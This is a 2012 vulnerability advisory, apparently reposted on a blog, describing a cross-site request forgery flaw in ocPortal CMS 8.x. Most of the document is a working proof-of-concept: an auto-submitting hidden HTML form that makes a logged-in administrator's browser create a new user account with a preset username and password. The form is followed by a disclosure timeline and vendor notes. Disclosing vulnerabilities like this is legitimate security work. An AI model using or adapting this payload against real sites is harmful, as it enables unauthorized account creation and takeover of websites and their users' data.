ocPoral CMS 8.x | Cross Site Request Forgery (CSRF) Vulnerability

1. OVERVIEW

ocPoral CMS 8.x and lower versions are vulnerable to Cross-site
Request Forgery (CSRF / XSRF).


2. PRODUCT DESCRIPTION

ocPortal is the website Content Management System (a CMS) for building
and maintaining a dynamic website. ocPortal's powerful feature-set
means there's always a way to accomplish your vision. Not only does
ocPortal's CMS have all the features you'd expect: for instance photo
galleries, news, file downloads and community forums/chats, but it
does so whilst meeting the highest accessibility and professional
standards. It is also smart enough to go beyond page management, to
automatically handle search engine optimisation, and provide
aggressive hack attack prevention.


3. VULNERABILITY DESCRIPTION

ocPoral CMS 8.x and lower versions contain a flaw that allows a remote
Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists
because the application does not require multiple steps or explicit
confirmation for sensitive transactions for majority of administrator
functions such as adding new user, downgrading security
settings,..etc. By using a crafted URL, an attacker may trick the
victim into visiting to his web page to take advantage of the trust
relationship between the authenticated victim and the application.
Such an attack could trick the victim into executing arbitrary
commands in the context of their session with the application, without
further prompting or verification.


4. VERSIONS AFFECTED

Tested on version 8.1.2


5. PROOF-OF-CONCEPT/EXPLOIT

The following CSRF payload would add new admin user.

[HTML]
<form action="http://localhost/ocPortal/adminzone/index.php?page=admin_ocf_join&type=step2"
method="POST">
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;1&#95;value"
value="About&#32;me" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;2&#95;value"
value="Skype&#32;ID" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;3&#95;value"
value="Facebook&#32;profile" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;4&#95;value"
value="Google&#43;&#32;profile" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;5&#95;value"
value="Twitter&#32;account" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;6&#95;value" value="Interests"
/>
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;7&#95;value" value="Location"
/>
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;8&#95;value"
value="Occupation" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;9&#95;value"
value="Staff&#32;notes" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;21&#95;value"
value="First&#32;name" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;22&#95;value"
value="Last&#32;name" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;23&#95;value"
value="Street&#32;address" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;24&#95;value" value="City" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;25&#95;value" value="State" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;26&#95;value"
value="Post&#32;code&#32;&#47;&#32;Zip&#32;code" />
<input type="hidden"
name="label&#95;for&#95;&#95;custom&#95;27&#95;value" value="Country"
/>
<input type="hidden" name="label&#95;for&#95;&#95;username"
value="Username" />
<input type="hidden" name="username" value="hax0r1" />
<input type="hidden" name="require&#95;&#95;username" value="1" />
<input type="hidden" name="label&#95;for&#95;&#95;password"
value="Password" />
<input type="hidden" name="password" value="p&#35;ssw&#33;123" />
<input type="hidden" name="require&#95;&#95;password" value="0" />
<input type="hidden" name="password&#95;confirm"
value="p&#35;ssw&#33;123" />
<input type="hidden"
name="require&#95;&#95;password&#95;confirm" value="0" />
<input type="hidden" name="email&#95;address"
value="hax0r&#64;yehg&#46;net" />
<input type="hidden" name="require&#95;&#95;email&#95;address"
value="0" />
<input type="hidden" name="dob&#95;day" value="1" />
<input type="hidden" name="dob&#95;month" value="1" />
<input type="hidden" name="dob&#95;year" value="1882" />
<input type="hidden" name="require&#95;&#95;dob" value="0" />
<input type="hidden"
name="label&#95;for&#95;&#95;reveal&#95;age"
value="&#155;&#32;Reveal&#32;age" />
<input type="hidden"
name="tick&#95;on&#95;form&#95;&#95;reveal&#95;age" value="0" />
<input type="hidden" name="require&#95;&#95;reveal&#95;age" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;timezone"
value="Time&#32;zone" />
<input type="hidden" name="timezone" value="America&#47;New&#95;York" />
<input type="hidden" name="require&#95;&#95;timezone" value="1" />
<input type="hidden"
name="label&#95;for&#95;&#95;allow&#95;emails"
value="Receive&#32;e&#45;mails&#32;from&#32;other&#32;members" />
<input type="hidden" name="allow&#95;emails" value="1" />
<input type="hidden"
name="tick&#95;on&#95;form&#95;&#95;allow&#95;emails" value="0" />
<input type="hidden" name="require&#95;&#95;allow&#95;emails" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;zone&#95;wide"
value="Opt&#32;to&#32;hide&#32;the&#32;left&#47;right&#32;navigation"
/>
<input type="hidden" name="zone&#95;wide" value="1" />
<input type="hidden"
name="tick&#95;on&#95;form&#95;&#95;zone&#95;wide" value="0" />
<input type="hidden" name="require&#95;&#95;zone&#95;wide" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;theme" value="Theme" />
<input type="hidden" name="theme" value="&#45;1" />
<input type="hidden" name="require&#95;&#95;theme" value="1" />
<input type="hidden"
name="label&#95;for&#95;&#95;views&#95;signatures"
value="View&#32;signatures" />
<input type="hidden" name="views&#95;signatures" value="1" />
<input type="hidden"
name="tick&#95;on&#95;form&#95;&#95;views&#95;signatures" value="0" />
<input type="hidden"
name="require&#95;&#95;views&#95;signatures" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;pt&#95;allow"
value="Allow&#32;Private&#32;Topics&#32;from" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="2" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="3" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="4" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="5" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="6" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="7" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="8" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="9" />
<input type="hidden" name="pt&#95;allow&#91;&#93;" value="10" />
<input type="hidden" name="require&#95;&#95;pt&#95;allow" value="0" />
<input type="hidden"
name="comcode&#95;&#95;pt&#95;rules&#95;text" value="1" />
<input type="hidden"
name="label&#95;for&#95;&#95;pt&#95;rules&#95;text"
value="Private&#32;Topic&#32;guidelines" />
<input type="hidden" name="pt&#95;rules&#95;text" value="" />
<input type="hidden" name="pt&#95;rules&#95;text&#95;parsed" value="" />
<input type="hidden"
name="label&#95;for&#95;&#95;on&#95;probation&#95;until"
value="On&#32;probation&#32;until" />
<input type="hidden" name="on&#95;probation&#95;until&#95;day" value="" />
<input type="hidden" name="on&#95;probation&#95;until&#95;month"
value="" />
<input type="hidden" name="on&#95;probation&#95;until&#95;year"
value="" />
<input type="hidden" name="on&#95;probation&#95;until&#95;hour"
value="" />
<input type="hidden"
name="on&#95;probation&#95;until&#95;minute" value="" />
<input type="hidden"
name="require&#95;&#95;on&#95;probation&#95;until" value="0" />
<input type="hidden"
name="label&#95;for&#95;&#95;primary&#95;group"
value="Primary&#32;usergroup" />
<input type="hidden" name="primary&#95;group" value="2" />
<input type="hidden" name="require&#95;&#95;primary&#95;group"
value="1" />
<input type="hidden"
name="label&#95;for&#95;&#95;secondary&#95;groups"
value="Additional&#32;usergroup&#32;membership" />
<input type="hidden"
name="require&#95;&#95;secondary&#95;groups" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;validated"
value="Validated" />
<input type="hidden" name="validated" value="1" />
<input type="hidden"
name="tick&#95;on&#95;form&#95;&#95;validated" value="0" />
<input type="hidden" name="require&#95;&#95;validated" value="0" />
<input type="hidden"
name="label&#95;for&#95;&#95;highlighted&#95;name"
value="Highlighted&#32;name" />
<input type="hidden"
name="tick&#95;on&#95;form&#95;&#95;highlighted&#95;name" value="0" />
<input type="hidden"
name="require&#95;&#95;highlighted&#95;name" value="0" />
<input type="hidden" name="comcode&#95;&#95;field&#95;1" value="1" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;1"
value="About&#32;me" />
<input type="hidden" name="field&#95;1" value="" />
<input type="hidden" name="field&#95;1&#95;parsed" value="" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;2"
value="Skype&#32;ID" />
<input type="hidden" name="field&#95;2" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;2" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;3"
value="Facebook&#32;profile" />
<input type="hidden" name="field&#95;3" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;3" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;4"
value="Google&#43;&#32;profile" />
<input type="hidden" name="field&#95;4" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;4" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;5"
value="Twitter&#32;account" />
<input type="hidden" name="field&#95;5" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;5" value="0" />
<input type="hidden" name="comcode&#95;&#95;field&#95;6" value="1" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;6"
value="Interests" />
<input type="hidden" name="field&#95;6" value="" />
<input type="hidden" name="field&#95;6&#95;parsed" value="" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;7"
value="Location" />
<input type="hidden" name="field&#95;7" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;7" value="0" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;8"
value="Occupation" />
<input type="hidden" name="field&#95;8" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;8" value="0" />
<input type="hidden" name="comcode&#95;&#95;field&#95;9" value="1" />
<input type="hidden" name="label&#95;for&#95;&#95;field&#95;9"
value="Staff&#32;notes" />
<input type="hidden" name="field&#95;9" value="" />
<input type="hidden" name="field&#95;9&#95;parsed" value="" />
<input type="hidden" name="field&#95;21" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;21" value="0" />
<input type="hidden" name="field&#95;22" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;22" value="0" />
<input type="hidden" name="field&#95;23" value="" />
<input type="hidden" name="pre&#95;f&#95;field&#95;23" value="1" />
<input type="hidden" name="require&#95;&#95;field&#95;23" value="0" />
<input type="hidden" name="field&#95;24" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;24" value="0" />
<input type="hidden" name="field&#95;25" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;25" value="0" />
<input type="hidden" name="field&#95;26" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;26" value="0" />
<input type="hidden" name="field&#95;27" value="" />
<input type="hidden" name="require&#95;&#95;field&#95;27" value="0" />
<input type="hidden" name="http&#95;referer"
value="http&#58;&#47;&#47;localhost" />
<input type="hidden"
name="pt&#95;rules&#95;text&#95;&#95;is&#95;wysiwyg" value="1" />
<input type="hidden" name="field&#95;1&#95;&#95;is&#95;wysiwyg"
value="1" />
<input type="hidden" name="field&#95;6&#95;&#95;is&#95;wysiwyg"
value="1" />
<input type="hidden" name="field&#95;9&#95;&#95;is&#95;wysiwyg"
value="1" />
<input type="submit" value="Submit form" />
</form>
<script>
document.forms[0].submit();
</script>
[/HTML]


6. SOLUTION

No fix is available as of 2012-08-19.
Workaround is not to visit third-party web sites while
administratoring the ocportal application.


7. VENDOR

ocPortal Development Team
http://www.ocportal.com/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-07-29: notified vendor, vendor did not plan to release fix
because of default deployed referer check
2012-08-19: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5Bocportal_8x%5D_csrf


#yehg [2012-08-19]

Popular posts from this blog

CubeCart 3.0.20 (3.0.x) and lower | Multiple Cross Site Scripting Vulnerabilities

Open-Realty CMS 3.x | Persistent Cross Site Scripting (XSS) Vulnerability

OxWall 1.1.1 <= Multiple Cross Site Scripting Vulnerabilities (CVE-2012-0872)